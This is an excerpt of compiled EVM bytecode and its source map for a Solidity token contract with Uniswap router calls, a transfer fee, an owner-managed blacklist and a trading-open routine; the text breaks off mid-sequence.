d57506001600160a01b03831660009081526004602052604090205460ff16155b610c3657600080fd5b610c7b6064610c75600a600560109054906101000a90046001600160801b03166001600160801b031611610c6b57600a610c6e565b60005b8590611240565b906112c9565b6007549091506001600160a01b038581169116148015610cb857506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610cdd57506001600160a01b03831660009081526003602052604090205460ff16155b15610d285760058054600160801b90046001600160801b0316906010610d0283611808565b91906101000a8154816001600160801b0302191690836001600160801b03160217905550505b6007546001600160a01b038481169116148015610d4e57506001600160a01b0384163014155b15610df457600654821115610d8b5760405162461bcd60e51b815260206004820152600360248201526209ac2f60eb1b60448201526064016104d5565b610df16064610c75600f600560109054906101000a90046001600160801b03166001600160801b031611610dcb5760055467ffffffffffffffff16610de0565b600554600160401b900467ffffffffffffffff165b859067ffffffffffffffff16611240565b90505b30600090815260016020526040902054600754600160a01b900460ff16158015610e2b57506007546001600160a01b038581169116145b8015610e4f5750610e3e6009600a61172c565b610e4c906301312d0061173b565b81115b8015610e6e57506005546014600160801b9091046001600160801b0316115b15610eb457610ea2610e9d84610e9884610e8a6009600a61172c565b610e98906301312d0061173b565b61130b565b611033565b478015610eb257610eb2476111e6565b505b505b8015610f305730600090815260016020526040902054610ed69082611320565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f279085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610f53908361137f565b6001600160a01b038516600090815260016020526040902055610f98610f79838361137f565b6001600160a01b03851660009081526001602052604090205490611320565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fe2858561137f565b60405190815260200160405180910390a350505050565b6000818484111561101d5760405162461bcd60e51b81526004016104d591906113ef565b50600061102a848661182e565b95945050505050565b6007805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107b5761107b611771565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111191906117a0565b8160018151811061112457611124611771565b60200260200101906001600160a01b031690816001600160a01b03168152505061116330737a250d5630b4cf539739df2c5dacb4c659f2488d84610a97565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111a3908590600090869030904290600401611841565b600060405180830381600087803b1580156111bd57600080fd5b505af11580156111d1573d6000803e3d6000fd5b50506007805460ff60a01b1916905550505050565b6040516001600160a01b037f0000000000000000000000001dcc4a58f99298a035233242bf97a8e9318bd3bf169082156108fc029083906000818181858888f1935050505015801561123c573d6000803e3d6000fd5b5050565b600082600003611252575060006103ee565b600061125e838561173b565b90508261126b85836118b2565b146112c25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b60006112c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c1565b600081831161131a57826112c2565b50919050565b60008061132d83856118d4565b9050838110156112c25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b60006112c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff9565b600081836113e25760405162461bcd60e51b81526004016104d591906113ef565b50600061102a84866118b2565b600060208083528351808285015260005b8181101561141c57858101830151858201604001528201611400565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461145257600080fd5b50565b6000806040838503121561146857600080fd5b82356114738161143d565b946020939093013593505050565b60008060006060848603121561149657600080fd5b83356114a18161143d565b925060208401356114b18161143d565b929592945050506040919091013590565b6000602082840312156114d457600080fd5b81356112c28161143d565b801515811461145257600080fd5b6000602082840312156114ff57600080fd5b81356112c2816114df565b803567ffffffffffffffff8116811461152257600080fd5b919050565b6000806040838503121561153a57600080fd5b6115438361150a565b91506115516020840161150a565b90509250929050565b60008060006040848603121561156f57600080fd5b833567ffffffffffffffff8082111561158757600080fd5b818601915086601f83011261159b57600080fd5b8135818111156115aa57600080fd5b8760208260051b85010111156115bf57600080fd5b602092830195509350508401356115d5816114df565b809150509250925092565b600080604083850312156115f357600080fd5b82356115fe8161143d565b9150602083013561160e8161143d565b809150509250929050565b60006020828403121561162b57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168357816000190482111561166957611669611632565b8085161561167657918102915b93841c939080029061164d565b509250929050565b60008261169a575060016103ee565b816116a7575060006103ee565b81600181146116bd57600281146116c7576116e3565b60019150506103ee565b60ff8411156116d8576116d8611632565b50506001821b6103ee565b5060208310610133831016604e8410600b8410161715611706575081810a6103ee565b6117108383611648565b806000190482111561172457611724611632565b029392505050565b60006112c260ff84168361168b565b80820281158282048414176103ee576103ee611632565b60208082526005908201526427bbb732b960d91b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161179957611799611632565b5060010190565b6000602082840312156117b257600080fd5b81516112c28161143d565b6000806000606084860312156117d257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117fd57600080fd5b81516112c2816114df565b60006001600160801b0380831681810361182457611824611632565b6001019392505050565b818103818111156103ee576103ee611632565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118915784516001600160a01b03168352938301939183019160010161186c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118cf57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103ee576103ee61163256fea2646970667358221220b8756ab9275a603eb3c3a29428acf8889a744653fc7852f7dc892aac173b9ca664736f6c63430008110033
Deployed Bytecode Sourcemap
5380:6741:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6881:83;;;;;;;;;;-1:-1:-1;6951:5:0;;;;;;;;;;;;-1:-1:-1;;;6951:5:0;;;;6881:83;;;;;;;:::i;:::-;;;;;;;;7714:161;;;;;;;;;;-1:-1:-1;7714:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7714:161:0;1023:187:1;7158:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;7158:95:0;1215:177:1;7883:282:0;;;;;;;;;;-1:-1:-1;7883:282:0;;;;;:::i;:::-;;:::i;7067:83::-;;;;;;;;;;-1:-1:-1;7067:83:0;;6029:1;2000:36:1;;1988:2;1973:18;7067:83:0;1858:184:1;11000:84:0;;;;;;;;;;-1:-1:-1;11000:84:0;;;;;:::i;:::-;-1:-1:-1;;;;;11069:7:0;11047:4;11069:7;;;:4;:7;;;;;;;;;11000:84;11787:331;;;;;;;;;;-1:-1:-1;11787:331:0;;;;;:::i;:::-;;:::i;:::-;;6105:45;;;;;;;;;;;;;;;;11614:128;;;;;;;;;;-1:-1:-1;11614:128:0;;;;;:::i;:::-;;:::i;7261:119::-;;;;;;;;;;-1:-1:-1;7261:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7354:18:0;7327:7;7354:18;;;:9;:18;;;;;;;7261:119;4463:148;;;;;;;;;;;;;:::i;4276:79::-;;;;;;;;;;-1:-1:-1;4314:7:0;4341:6;4276:79;;-1:-1:-1;;;;;4341:6:0;;;3251:51:1;;3239:2;3224:18;4276:79:0;3105:203:1;6972:87:0;;;;;;;;;;-1:-1:-1;7044:7:0;;;;;;;;;;;;-1:-1:-1;;;7044:7:0;;;;6972:87;;7388:167;;;;;;;;;;-1:-1:-1;7388:167:0;;;;;:::i;:::-;;:::i;10808:184::-;;;;;;;;;;-1:-1:-1;10808:184:0;;;;;:::i;:::-;;:::i;11092:510::-;;;;;;;;;;;;;:::i;7563:143::-;;;;;;;;;;-1:-1:-1;7563:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7671:18:0;;;7644:7;7671:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7563:143;10628:72;;;;;;;;;;-1:-1:-1;10628:72:0;;;;;:::i;:::-;;:::i;7714:161::-;7789:4;7806:39;2113:10;7829:7;7838:6;7806:8;:39::i;:::-;-1:-1:-1;7863:4:0;7714:161;;;;;:::o;7158:95::-;7211:7;6085:13;6029:1;6085:2;:13;:::i;:::-;6072:26;;:10;:26;:::i;:::-;7231:14;;7158:95;:::o;7883:282::-;7981:4;7998:36;8008:6;8016:9;8027:6;7998:9;:36::i;:::-;8045:90;8054:6;2113:10;8076:58;8114:6;8076:58;;;;;;;;;;;;;-1:-1:-1;;;8076:58:0;;;:11;:19;8088:6;-1:-1:-1;;;;;8076:19:0;-1:-1:-1;;;;;8076:19:0;;;;;;;;;;;;:33;8096:12;2113:10;;2033:98;8096:12;-1:-1:-1;;;;;8076:33:0;;;;;;;;;;;;-1:-1:-1;8076:33:0;;;:58;:37;:58::i;:::-;8045:8;:90::i;:::-;-1:-1:-1;8153:4:0;7883:282;;;;;:::o;11787:331::-;4403:6;;-1:-1:-1;;;;;4403:6:0;2113:10;4403:22;4395:40;;;;-1:-1:-1;;;4395:40:0;;;;;;;:::i;:::-;;;;;;;;;11887:4:::1;11848:20;7354:18:::0;;;:9;:18;;;;;;11907:4;:22;::::1;;;;11928:1;11915:12;:14;11907:22;11904:81;;;11943:30;11960:12;11943:16;:30::i;:::-;12014:21;12049:12:::0;;12046:65:::1;;12075:24;12088:10;12075:12;:24::i;:::-;11837:281;;11787:331:::0;:::o;11614:128::-;4403:6;;-1:-1:-1;;;;;4403:6:0;2113:10;4403:22;4395:40;;;;-1:-1:-1;;;4395:40:0;;;;;;;:::i;:::-;11695:4:::1;::::0;::::1;-1:-1:-1::0;;;11695:4:0;;::::1;::::0;::::1;11689:10:::0;;::::1;;;11681:19;;;::::0;::::1;;11709:3;:8:::0;;::::1;11726::::0;;::::1;-1:-1:-1::0;;;11726:8:0::1;-1:-1:-1::0;;11726:8:0;;;11709;;;::::1;11726::::0;;;;::::1;::::0;;11614:128::o;4463:148::-;4403:6;;-1:-1:-1;;;;;4403:6:0;2113:10;4403:22;4395:40;;;;-1:-1:-1;;;4395:40:0;;;;;;;:::i;:::-;4570:1:::1;4554:6:::0;;4533:40:::1;::::0;-1:-1:-1;;;;;4554:6:0;;::::1;::::0;4533:40:::1;::::0;4570:1;;4533:40:::1;4601:1;4584:19:::0;;-1:-1:-1;;;;;;4584:19:0::1;::::0;;4463:148::o;7388:167::-;7466:4;7483:42;2113:10;7507:9;7518:6;7483:9;:42::i;10808:184::-;4403:6;;-1:-1:-1;;;;;4403:6:0;2113:10;4403:22;4395:40;;;;-1:-1:-1;;;4395:40:0;;;;;;;:::i;:::-;10900:6:::1;10895:90;10912:16:::0;;::::1;10895:90;;;10967:6;10950:4;:14;10955:5;;10961:1;10955:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10950:14:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10950:14:0;:23;;-1:-1:-1;;10950:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10930:3;::::1;::::0;::::1;:::i;:::-;;;;10895:90;;;;10808:184:::0;;;:::o;11092:510::-;4403:6;;-1:-1:-1;;;;;4403:6:0;2113:10;4403:22;4395:40;;;;-1:-1:-1;;;4395:40:0;;;;;;;:::i;:::-;11154:11:::1;::::0;-1:-1:-1;;;11154:11:0;::::1;;;11153:12;11145:25;;;::::0;-1:-1:-1;;;11145:25:0;;7141:2:1;11145:25:0::1;::::0;::::1;7123:21:1::0;7180:1;7160:18;;;7153:29;-1:-1:-1;;;7198:18:1;;;7191:31;7239:18;;11145:25:0::1;6939:324:1::0;11145:25:0::1;11181:58;11198:4;6405:42;6085:13;6029:1;6085:2;:13;:::i;:::-;6072:26;::::0;:10:::1;:26;:::i;11181:58::-;6405:42;-1:-1:-1::0;;;;;11284:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11266:55:0::1;;11330:4;6405:42;-1:-1:-1::0;;;;;11337:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11266:94;::::0;-1:-1:-1;;;;;;11266:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7754:15:1;;;11266:94:0::1;::::0;::::1;7736:34:1::0;7806:15;;7786:18;;;7779:43;7671:18;;11266:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11250:13;:110:::0;;-1:-1:-1;;;;;;11250:110:0::1;-1:-1:-1::0;;;;;11250:110:0;;;::::1;::::0;;;::::1;::::0;;6405:42:::1;11371:31;11410:21;11441:4;6085:13;6029:1;6085:2;:13;:::i;:::-;6072:26;::::0;:10:::1;:26;:::i;:::-;11455:1;11457::::0;11459:7:::1;4314::::0;4341:6;-1:-1:-1;;;;;4341:6:0;;4276:79;11459:7:::1;11371:112;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11371:112:0;;;-1:-1:-1;;;;;8192:15:1;;;11371:112:0::1;::::0;::::1;8174:34:1::0;8224:18;;;8217:34;;;;8267:18;;;8260:34;;;;8310:18;;;8303:34;8374:15;;;8353:19;;;8346:44;11467:15:0::1;8406:19:1::0;;;8399:35;8108:19;;11371:112:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11501:13:0::1;::::0;11494:71:::1;::::0;-1:-1:-1;;;11494:71:0;;6405:42:::1;11494:71;::::0;::::1;8930:51:1::0;-1:-1:-1;;8997:18:1;;;8990:34;-1:-1:-1;;;;;11501:13:0;;::::1;::::0;-1:-1:-1;11494:29:0::1;::::0;8903:18:1;;11494:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11576:11:0::1;:18:::0;;-1:-1:-1;;;;11576:18:0::1;-1:-1:-1::0;;;11576:18:0::1;::::0;;11092:510::o;10628:72::-;4403:6;;-1:-1:-1;;;;;4403:6:0;2113:10;4403:22;4395:40;;;;-1:-1:-1;;;4395:40:0;;;;;;;:::i;:::-;10685:3:::1;:7:::0;10628:72::o;8173:246::-;-1:-1:-1;;;;;8266:19:0;;;;;;:44;;-1:-1:-1;;;;;;8289:21:0;;;;8266:44;8258:58;;;;-1:-1:-1;;;8258:58:0;;9487:2:1;8258:58:0;;;9469:21:1;9526:1;9506:18;;;9499:29;-1:-1:-1;;;9544:18:1;;;9537:31;9585:18;;8258:58:0;9285:324:1;8258:58:0;-1:-1:-1;;;;;8327:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8379:32;;1361:25:1;;;8379:32:0;;1334:18:1;8379:32:0;;;;;;;8173:246;;;:::o;8427:1596::-;-1:-1:-1;;;;;8515:18:0;;;;;;:38;;-1:-1:-1;;;;;;8537:16:0;;;;8515:38;:52;;;;;8566:1;8557:6;:10;8515:52;8507:66;;;;-1:-1:-1;;;8507:66:0;;9487:2:1;8507:66:0;;;9469:21:1;9526:1;9506:18;;;9499:29;-1:-1:-1;;;9544:18:1;;;9537:31;9585:18;;8507:66:0;9285:324:1;8507:66:0;8584:17;4341:6;;-1:-1:-1;;;;;8618:15:0;;;4341:6;;8618:15;;;;:32;;-1:-1:-1;4314:7:0;4341:6;-1:-1:-1;;;;;8637:13:0;;;4341:6;;8637:13;;8618:32;:47;;;;-1:-1:-1;8654:11:0;;-1:-1:-1;;;8654:11:0;;;;8618:47;8614:1051;;;-1:-1:-1;;;;;8691:10:0;;;;;;:4;:10;;;;;;;;8690:11;:24;;;;-1:-1:-1;;;;;;8706:8:0;;;;;;:4;:8;;;;;;;;8705:9;8690:24;8682:33;;;;;;8742:64;8802:3;8742:55;5841:2;8754:9;;;;;;;;;-1:-1:-1;;;;;8754:9:0;-1:-1:-1;;;;;8754:25:0;;8753:43;;8794:2;8753:43;;;5792:1;8753:43;8742:6;;:10;:55::i;:::-;:59;;:64::i;:::-;8847:13;;8730:76;;-1:-1:-1;;;;;;8839:21:0;;;8847:13;;8839:21;:55;;;;-1:-1:-1;;;;;;8864:30:0;;6405:42;8864:30;;8839:55;:82;;;;-1:-1:-1;;;;;;8899:22:0;;;;;;:18;:22;;;;;;;;8898:23;8839:82;8835:134;;;8942:9;:11;;-1:-1:-1;;;8942:11:0;;-1:-1:-1;;;;;8942:11:0;;:9;:11;;;:::i;:::-;;;;;;;;-1:-1:-1;;;;;8942:11:0;;;;;-1:-1:-1;;;;;8942:11:0;;;;;;;8835:134;8994:13;;-1:-1:-1;;;;;8988:19:0;;;8994:13;;8988:19;:44;;;;-1:-1:-1;;;;;;9011:21:0;;9027:4;9011:21;;8988:44;8985:201;;;9070:3;;9060:6;:13;;9052:29;;;;-1:-1:-1;;;9052:29:0;;10047:2:1;9052:29:0;;;10029:21:1;10086:1;10066:18;;;10059:29;-1:-1:-1;;;10104:18:1;;;10097:33;10147:18;;9052:29:0;9845:326:1;9052:29:0;9112:58;9166:3;9112:49;5892:2;9124:9;;;;;;;;;-1:-1:-1;;;;;9124:9:0;-1:-1:-1;;;;;9124:26:0;;9123:37;;9157:3;;;;9123:37;;;9152:4;;-1:-1:-1;;;9152:4:0;;;;9123:37;9112:6;;:49;;:10;:49::i;:58::-;9100:70;;8985:201;9251:4;9202:28;7354:18;;;:9;:18;;;;;;9277:6;;-1:-1:-1;;;9277:6:0;;;;9276:7;:30;;;;-1:-1:-1;9293:13:0;;-1:-1:-1;;;;;9287:19:0;;;9293:13;;9287:19;9276:30;:66;;;;-1:-1:-1;6206:13:0;6029:1;6206:2;:13;:::i;:::-;6195:24;;:8;:24;:::i;:::-;9310:20;:32;9276:66;:82;;;;-1:-1:-1;9346:9:0;;9356:2;-1:-1:-1;;;9346:9:0;;;-1:-1:-1;;;;;9346:9:0;:12;9276:82;9272:382;;;9379:67;9396:49;9400:6;9407:37;9411:20;6206:13;6029:1;6206:2;:13;:::i;:::-;6195:24;;:8;:24;:::i;:::-;9407:3;:37::i;9396:49::-;9379:16;:67::i;:::-;9494:21;9537:22;;9534:105;;9584:35;9597:21;9584:12;:35::i;:::-;9360:294;9272:382;8667:998;8614:1051;9680:11;;9677:161;;9748:4;9730:24;;;;:9;:24;;;;;;:39;;9759:9;9730:28;:39::i;:::-;9723:4;9705:24;;;;:9;:24;;;;;;;:64;;;;9787:39;;-1:-1:-1;;;;;9787:39:0;;;;;;;9816:9;1361:25:1;;1349:2;1334:18;;1215:177;9787:39:0;;;;;;;;9677:161;-1:-1:-1;;;;;9866:15:0;;;;;;:9;:15;;;;;;:27;;9886:6;9866:19;:27::i;:::-;-1:-1:-1;;;;;9850:15:0;;;;;;:9;:15;;;;;:43;9918:40;9936:21;:6;9947:9;9936:10;:21::i;:::-;-1:-1:-1;;;;;9918:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9904:13:0;;;;;;;:9;:13;;;;;:54;;;;9974:41;;;9993:21;:6;10004:9;9993:10;:21::i;:::-;9974:41;;1361:25:1;;;1349:2;1334:18;9974:41:0;;;;;;;8496:1527;8427:1596;;;:::o;3170:190::-;3256:7;3292:12;3284:6;;;;3276:29;;;;-1:-1:-1;;;3276:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3316:9:0;3328:5;3332:1;3328;:5;:::i;:::-;3316:17;3170:190;-1:-1:-1;;;;;3170:190:0:o;10137:483::-;6598:6;:13;;-1:-1:-1;;;;6598:13:0;-1:-1:-1;;;6598:13:0;;;10239:16:::1;::::0;;10253:1:::1;10239:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10239:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10239:16:0::1;10215:40;;10284:4;10266;10271:1;10266:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10266:23:0::1;;;-1:-1:-1::0;;;;;10266:23:0::1;;;::::0;::::1;6405:42;-1:-1:-1::0;;;;;10310:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10300:4;10305:1;10300:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;10300:32:0::1;;;-1:-1:-1::0;;;;;10300:32:0::1;;;::::0;::::1;10343:62;10360:4;6405:42;10393:11;10343:8;:62::i;:::-;10416:196;::::0;-1:-1:-1;;;10416:196:0;;6405:42:::1;::::0;10416:66:::1;::::0;:196:::1;::::0;10497:11;;10523:1:::1;::::0;10539:4;;10566::::1;::::0;10586:15:::1;::::0;10416:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6634:6:0;:14;;-1:-1:-1;;;;6634:14:0;;;-1:-1:-1;;;;10137:483:0:o;10708:92::-;10765:27;;-1:-1:-1;;;;;10765:10:0;:19;;:27;;;;;10785:6;;10765:27;;;;10785:6;10765:19;:27;;;;;;;;;;;;;;;;;;;;;10708:92;:::o;3368:246::-;3426:7;3450:1;3455;3450:6;3446:47;;-1:-1:-1;3480:1:0;3473:8;;3446:47;3503:9;3515:5;3519:1;3515;:5;:::i;:::-;3503:17;-1:-1:-1;3548:1:0;3539:5;3543:1;3503:17;3539:5;:::i;:::-;:10;3531:56;;;;-1:-1:-1;;;3531:56:0;;11850:2:1;3531:56:0;;;11832:21:1;11889:2;11869:18;;;11862:30;11928:34;11908:18;;;11901:62;-1:-1:-1;;;11979:18:1;;;11972:31;12020:19;;3531:56:0;11648:397:1;3531:56:0;3605:1;3368:246;-1:-1:-1;;;3368:246:0:o;3622:132::-;3680:7;3707:39;3711:1;3714;3707:39;;;;;;;;;;;;;;;;;:3;:39::i;10031:98::-;10088:7;10115:1;10113;:3;10112:9;;10120:1;10112:9;;;-1:-1:-1;10118:1:0;10031:98;-1:-1:-1;10031:98:0:o;2839:179::-;2897:7;;2929:5;2933:1;2929;:5;:::i;:::-;2917:17;;2958:1;2953;:6;;2945:46;;;;-1:-1:-1;;;2945:46:0;;12382:2:1;2945:46:0;;;12364:21:1;12421:2;12401:18;;;12394:30;12460:29;12440:18;;;12433:57;12507:18;;2945:46:0;12180:351:1;3026:136:0;3084:7;3111:43;3115:1;3118;3111:43;;;;;;;;;;;;;;;;;:3;:43::i;3762:189::-;3848:7;3883:12;3876:5;3868:28;;;;-1:-1:-1;;;3868:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3907:9:0;3919:5;3923:1;3919;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:118::-;2385:5;2378:13;2371:21;2364:5;2361:32;2351:60;;2407:1;2404;2397:12;2422:241;2478:6;2531:2;2519:9;2510:7;2506:23;2502:32;2499:52;;;2547:1;2544;2537:12;2499:52;2586:9;2573:23;2605:28;2627:5;2605:28;:::i;2668:171::-;2735:20;;2795:18;2784:30;;2774:41;;2764:69;;2829:1;2826;2819:12;2764:69;2668:171;;;:::o;2844:256::-;2910:6;2918;2971:2;2959:9;2950:7;2946:23;2942:32;2939:52;;;2987:1;2984;2977:12;2939:52;3010:28;3028:9;3010:28;:::i;:::-;3000:38;;3057:37;3090:2;3079:9;3075:18;3057:37;:::i;:::-;3047:47;;2844:256;;;;;:::o;3313:750::-;3405:6;3413;3421;3474:2;3462:9;3453:7;3449:23;3445:32;3442:52;;;3490:1;3487;3480:12;3442:52;3530:9;3517:23;3559:18;3600:2;3592:6;3589:14;3586:34;;;3616:1;3613;3606:12;3586:34;3654:6;3643:9;3639:22;3629:32;;3699:7;3692:4;3688:2;3684:13;3680:27;3670:55;;3721:1;3718;3711:12;3670:55;3761:2;3748:16;3787:2;3779:6;3776:14;3773:34;;;3803:1;3800;3793:12;3773:34;3858:7;3851:4;3841:6;3838:1;3834:14;3830:2;3826:23;3822:34;3819:47;3816:67;;;3879:1;3876;3869:12;3816:67;3910:4;3902:13;;;;-1:-1:-1;3934:6:1;-1:-1:-1;;3975:20:1;;3962:34;4005:28;3962:34;4005:28;:::i;:::-;4052:5;4042:15;;;3313:750;;;;;:::o;4068:388::-;4136:6;4144;4197:2;4185:9;4176:7;4172:23;4168:32;4165:52;;;4213:1;4210;4203:12;4165:52;4252:9;4239:23;4271:31;4296:5;4271:31;:::i;:::-;4321:5;-1:-1:-1;4378:2:1;4363:18;;4350:32;4391:33;4350:32;4391:33;:::i;:::-;4443:7;4433:17;;;4068:388;;;;;:::o;4461:180::-;4520:6;4573:2;4561:9;4552:7;4548:23;4544:32;4541:52;;;4589:1;4586;4579:12;4541:52;-1:-1:-1;4612:23:1;;4461:180;-1:-1:-1;4461:180:1:o;4646:127::-;4707:10;4702:3;4698:20;4695:1;4688:31;4738:4;4735:1;4728:15;4762:4;4759:1;4752:15;4778:422;4867:1;4910:5;4867:1;4924:270;4945:7;4935:8;4932:21;4924:270;;;5004:4;5000:1;4996:6;4992:17;4986:4;4983:27;4980:53;;;5013:18;;:::i;:::-;5063:7;5053:8;5049:22;5046:55;;;5083:16;;;;5046:55;5162:22;;;;5122:15;;;;4924:270;;;4928:3;4778:422;;;;;:::o;5205:806::-;5254:5;5284:8;5274:80;;-1:-1:-1;5325:1:1;5339:5;;5274:80;5373:4;5363:76;;-1:-1:-1;5410:1:1;5424:5;;5363:76;5455:4;5473:1;5468:59;;;;5541:1;5536:130;;;;5448:218;;5468:59;5498:1;5489:10;;5512:5;;;5536:130;5573:3;5563:8;5560:17;5557:43;;;5580:18;;:::i;:::-;-1:-1:-1;;5636:1:1;5622:16;;5651:5;;5448:218;;5750:2;5740:8;5737:16;5731:3;5725:4;5722:13;5718:36;5712:2;5702:8;5699:16;5694:2;5688:4;5685:12;5681:35;5678:77;5675:159;;;-1:-1:-1;5787:19:1;;;5819:5;;5675:159;5866:34;5891:8;5885:4;5866:34;:::i;:::-;5936:6;5932:1;5928:6;5924:19;5915:7;5912:32;5909:58;;;5947:18;;:::i;:::-;5985:20;;5205:806;-1:-1:-1;;;5205:806:1:o;6016:140::-;6074:5;6103:47;6144:4;6134:8;6130:19;6124:4;6103:47;:::i;6161:168::-;6234:9;;;6265;;6282:15;;;6276:22;;6262:37;6252:71;;6303:18;;:::i;6334:328::-;6536:2;6518:21;;;6575:1;6555:18;;;6548:29;-1:-1:-1;;;6608:2:1;6593:18;;6586:35;6653:2;6638:18;;6334:328::o;6667:127::-;6728:10;6723:3;6719:20;6716:1;6709:31;6759:4;6756:1;6749:15;6783:4;6780:1;6773:15;6799:135;6838:3;6859:17;;;6856:43;;6879:18;;:::i;:::-;-1:-1:-1;6926:1:1;6915:13;;6799:135::o;7268:251::-;7338:6;7391:2;7379:9;7370:7;7366:23;7362:32;7359:52;;;7407:1;7404;7397:12;7359:52;7439:9;7433:16;7458:31;7483:5;7458:31;:::i;8445:306::-;8533:6;8541;8549;8602:2;8590:9;8581:7;8577:23;8573:32;8570:52;;;8618:1;8615;8608:12;8570:52;8647:9;8641:16;8631:26;;8697:2;8686:9;8682:18;8676:25;8666:35;;8741:2;8730:9;8726:18;8720:25;8710:35;;8445:306;;;;;:::o;9035:245::-;9102:6;9155:2;9143:9;9134:7;9130:23;9126:32;9123:52;;;9171:1;9168;9161:12;9123:52;9203:9;9197:16;9222:28;9244:5;9222:28;:::i;9614:226::-;9653:3;-1:-1:-1;;;;;9750:2:1;9743:5;9739:14;9777:2;9768:7;9765:15;9762:41;;9783:18;;:::i;:::-;9832:1;9819:15;;9614:226;-1:-1:-1;;;9614:226:1:o;10176:128::-;10243:9;;;10264:11;;;10261:37;;;10278:18;;:::i;10441:980::-;10703:4;10751:3;10740:9;10736:19;10782:6;10771:9;10764:25;10808:2;10846:6;10841:2;10830:9;10826:18;10819:34;1088